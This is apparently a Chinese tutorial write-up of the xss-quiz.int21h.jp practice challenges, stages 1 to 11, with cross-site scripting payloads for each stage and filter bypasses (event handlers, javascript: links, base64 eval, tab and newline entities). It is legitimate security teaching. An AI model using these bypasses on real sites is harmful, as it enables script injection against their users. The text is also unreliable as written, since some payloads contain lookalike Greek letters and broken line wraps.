目录
一、xss challenges 闯关游戏环境准备
二、手动挖掘 XSS 漏洞
1、Stage #1 无过滤的 XSS 注入
2、Stage #2 属性中的 XSS 注入
3、Stage #3 选择列表中的 XSS 注入
4、Stage #4 在隐藏域中注入 XSS
5、Stage #5 限制输入长度的解决方式
6、Stage #6 限制输入<>的 XSS 注入
7、Stage #7 限制输入引号的 XSS 注入
8、Stage #8 JavaScript 伪协议
9、Stage #9 UTF-7 编码注入(跳过)
10、Stage #10 绕过关键字 domain
11、Stage #11 绕过过滤 script 和 on 关键字的 XSS 注入
一、xss challenges 闯关游戏环境准备
1、配置 burpsuite 加载证书用于截断 https 协议
首先打开 burpsuite 开启监听:

配置火狐使用 burpsuite 代理上网
访问:http://burp/

浏览器中导入证书


配置完成后正常截断 HTTPS 协议。
如果是google安装
访问下载后




导入完成
二、手动挖掘 XSS 漏洞
1、Stage #1 无过滤的 XSS 注入
访问:https://xss-quiz.int21h.jp
注:提示中的内容需要选中才会显示
document.domain #该属性是一个只读的字符串,包含了载入当前文档的 web 服务器的主机
名。
输入值我们输入的信息会被加载到页面中,我们加载 <script>alert(document.domain);</script>

确实插入在 b 标签中,正常来说我们这样已经注入成功了。
例 2:使用闭合标签方式进行反射型 XSS 注入
它和我们学习 SQL 注入时很像,可以使用对应的闭合方式进行插入代码。
b 标签的结构是<b>“文本信息”</b>作用是加粗文本信息
我们搜索时使用</b>对 b 标签进行闭合。在输入栏,输入:
1</b>
<script>alert(document.domain);</script>

2、Stage #2 属性中的 XSS 注入

对input进行闭合
root"><script>alert(document.domain);</script>
例 1:onmouseover 事件:当鼠标指针移至元素之上时运行脚本
输入以下代码:
" οnmοuseοver=alert(document.domain)>
使用方式很简单,使用双引号闭合 value 属性,添加事件 onmouseover 当鼠标移动到添加事件的
元素中时,执行 JavaScript 代码 alert(document.domain)弹出域名
3、Stage #3 选择列表中的 XSS 注入

我们注入的信息被转义成文本信息显示出来了,并没有被执行。
因为我们在输入时,下拉列表选项是不能进行修改的,但是我们可以
使用 burpsuite 截取数据包对
右侧选择列表进行注入
。
在浏览器中查看结果


注入成功
4、Stage #4 在隐藏域中注入 XSS

截取时发现一个隐藏参数
隐藏域是用来收集或发送不可见元素的信息,对于网页的访问者来说,隐藏域是看不见的。
当表单被
提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上
。
那么为什么需要将参数隐藏呢?原因很简单,这样可以避免在 URL 中传递参数,传递的参数用户不
可见。
页面中存在一个 p3 参数,type 类型为 hidden,闭合方式为双引号,所以 p3 为隐藏参数。
我们使用 burpsuite 进行截断数据包进行分析。
p3 的值为 hackme 我们直接插入代码
"><script>alert(document.domain)</script>,
这里必
须使用
">闭合,这样 XSS 代码才会被执行。

5、Stage #5 限制输入长度的解决方式
代码中定了文本框,类型为 text,最多允许输入 15 个字符,修改输入长度限制
"><script>alert(document.domain);</script>
6、Stage #6 限制输入<>的 XSS 注入
html 事件中常见的鼠标事件:
属性
| 值 | 描述 |
onclick
| script | 当单击鼠标时运行脚本 |
ondblclick
| script | 当双击鼠标时运行脚本 |
ondrag | script | 当拖动元素时运行脚本 |
ondragend
| script | 当拖动操作结束时运行脚本 |
ondragenter
| script | 当元素被拖动至有效的拖放目标时运行脚本 |
ondragleave
| script | 当元素离开有效拖放目标时运行脚本 |
ondragover
| script | 当元素被拖动至有效拖放目标上方时运行脚本 |
ondragstart
| script | 当拖动操作开始时运行脚本 |
ondrop | script | 当被拖动元素正在被拖放时运行脚本 |
更多事件,请参考:
https://baike.baidu.com/item/%E4%BA%8B%E4%BB%B6/6129173?fr=aladdin
当尝试输入root"><script>alert(document.domain);</script>注入时,

可以看到 JavaScript 代码已经注入,但是我们发现<>符号都过滤成了< 和%gt
我们使用双引号"来闭合 value 属性,然后添加一个事件,执行 XSS 脚本。
123" οnmοuseοver="alert(document.domain)"

7、Stage #7 限制输入引号的 XSS 注入
我们
使用空格对 payload 进行分割,输入以下内容:
123 οnmοuseοver=alert(document.domain)
使用空格分割事件,去掉所有引号。
8、Stage #8 JavaScript 伪协议
我们结合 Stage #8 输入一个 URL 在页面中添加一个 URL,这样我们可以输入一个 JavaScript:伪
协议用户点击链接时直接调用 JavaScript 代码,触发 XSS 攻击。 输入:
javascript:alert(document.domain)
需要手动点击 URL 进行触发
9、Stage #9 UTF-7 编码注入(跳过)
跳过关卡的方法:
在 id 字段后添加事件:
οnclick="alert(document.domain)"
Onclick (当鼠标点击时触发事件)
10、Stage #10 绕过关键字 domain
使用双写绕
过尝试进行注入
。
root"><script>alert(document.
do
domain
main
);</script>

使用base64编码绕过进行注入
root"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
atob()函数将 base64 加密后的字符串进行解密还原为 alert(document.domain)
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
11、Stage #11 绕过过滤 script 和 on 关键字的 XSS 注入
本题的提示含意:Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;" 提示的意思是:
将 script 替换成 xscript ;
将 on[a-z]+= 替换成 onxxx= ;
正则表达式 表示以 on 开头的都替换
将 style= 替换成 stxxx= ;
<input type="text" name="p1" size="50"
value="root">
<xscript>alert(document.dodomainmain);</xscript>
">
我们看到 script 被过滤成了 xscript 此外提示信息中还过滤了 on 和 style 我们看一下具体代码
"
s/script/xscript/ig
;" and "
s/on[a-z]+=/onxxx=/ig
;" and "
s/style=/stxxx=/ig
;"
过滤 script 主要过滤我们直接插入的 JavaScript 代码
过滤 on 可以过滤掉事件
style 我们还没有接触暂时先不讲。
那么过滤了 script 和 on 事件我们还有其他的注入方式吗?
例 1:伪协议绕过
xuegod"><a href="javascript:alert(document.domain);">xss</a>
这里发现 javajcript 也会被过滤成 javaxscript
<input type="text" name="p1" size="50" value="xuegod"><a
href="
javaxscript
:alert(document.domain);">xss</a>">
我们在 script 中间加上空格来绕过过滤机制
伪协议中 后面是代码 同时也是 url 地址 url 编码
xuegod"><a href="javas%20cript:alert(document.domain);">xss</a>
xuegod"><a href="javas%0acript:alert(document.domain);">xss</a>
但是%20 没有被过滤
xuegod"><a href="javas cript:alert(document.domain);">xss</a>
我们可以看到我们的超链接请求在内部是不存在的,我们可以看到 URL 中传递的参数
javas
%20%20%20
cript:alert(document.domain);发现空格经过 URL 编码之后并没有被忽略掉而执
行整条 JavaScript 代码。
而且经测试%0a 和%0d 这样的空格符会被转换成原本的字符。
xuegod"><a href="javas
&
#0a
cript:alert(document.domain);">xss</a>
xuegod"><a href="javas
&#
0d
cript:alert(document.domain);">xss</a>

我们看到这种宽字符会被自动转码为原始字符到代码中被执行,
javas
�
cript:alert(document.domain);那只要将我们添加的符号
定义为浏览器可以忽略的符号代码即
可正常执行
。
我们来测试一个能够被浏览器忽略的字符
tab
符号
%09 的 URL 编码实体编码是
1. 浏览器加载页面
2. 解析标签构造 dom 树
3. a 标签自动解码 实体编码
4. 解码之后 还原成 tab 符号
我们输入以下 payload:
root"><a href="javas
	
cript:alert(document.domain);">xss</a>
查看源码
<input type="text" name="p1" size="50" value="root"><a
href="javas
cript:alert(document.domain);">xss</a>">
可以发现字符并没有被过滤还是原本的
,那么为什么代码成功执行了?
因为空格和%0a 这种宽字符都是实际存在的字符,而
就不一样了,它是
一个 tab 符浏览器解
析时会自动忽略该字符
,所以代码能够成功执行。
xuegod"><a href="javas


cript:alert(document.domain);">xss</a>